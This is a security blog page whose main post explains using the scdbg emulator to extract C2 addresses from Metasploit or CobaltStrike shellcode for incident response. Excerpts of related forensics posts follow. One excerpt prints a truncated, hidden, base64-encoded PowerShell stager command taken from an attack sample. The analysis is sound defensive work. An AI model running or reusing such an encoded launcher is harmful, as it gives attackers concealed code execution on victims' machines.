Dridex shellcode analysis using scdbg

This post explains how to use scdbg to analyse one type of shellcode generated by Metasploit framework or CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike).

The previous post Decoding Metasploit and CobaltStrike shells explains how to leverage CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2 or an adversary

scdbg is a shellcode analysis application built around the libemu emulation library. When run it will display to the user all of the windows APIs the shellcode attempts to call

Finally, there are other ways to analyse shellcode in various platforms. This is just an explanatory post to leverage a gui based emulator (it has cli version too) to quickly understand the API calls of shellcode.

Comments

Memory Analysis of WannaCry Ransomware

Introduction This post explains the memory dump analysis of WannaCry infected system using volatility (An open source memory forensics framework) and other open source tools. It doesn't cover the analysis of initial infection vector, propagation and recovery of infected system. The objective is to leverage memory forensic analysis to uncover and extract Indicators of Compromise (IoC) WannaCry WannaCry (or WannaCrypt, WanaCrypt0r 2.0, Wanna Decryptor) is a ransomware program targeting the Microsoft Windows operating system. On Friday, 12 May 2017, a large cyber-attack using it was launched, infecting more than 230,000 computers in 150 countries, demanding ransom payments in the cryptocurrency bitcoin in 28 languages.The attack has been described by Europol as unprecedented in scale. https://en.wikipedia.org/wiki/WannaCry_ransomware_attack Discalimer You are dealing with real malware samples Don’t expose them to internal networks or internet Analyze them in a controlle

Decoding Metasploit and CobaltStrike shells

Introduction This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike ). It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2 or an adversary ShellCode Here we have the encoded powershell command powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAH

Analyze Sysmon for Linux logs using Kusto Query Language

Recently I have come across a situation where I need to install Sysmon on a Linux virtual machine in Azure subscription and analyze those logs in Log analytics workspace. This post is a quick guide to help installing Sysmon and analyzing logs using Kusto query language. Prerequisites to install Sysmon for Linux Ensure the Linux virtual machine is on boarded to Log analytics workspace. Collect Syslog events with Azure Monitor Agent. Install using this Installing Sysmon on Linux For complete installation process on various .nix operating systems, follow Sysmon installation instructions here Ubuntu 20.04 & 22.04 Register Microsoft key and feed wget -q https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb -O packages-microsoft-prod.deb sudo dpkg -i packages-microsoft-prod.deb Install SysmonForLinux sudo apt-get update sudo apt-get install sysmonforlinux The Kusto query to parse the Sysmon logs on a Linux can be found here. let Eventlogs =

null0x4d5a

Search This Blog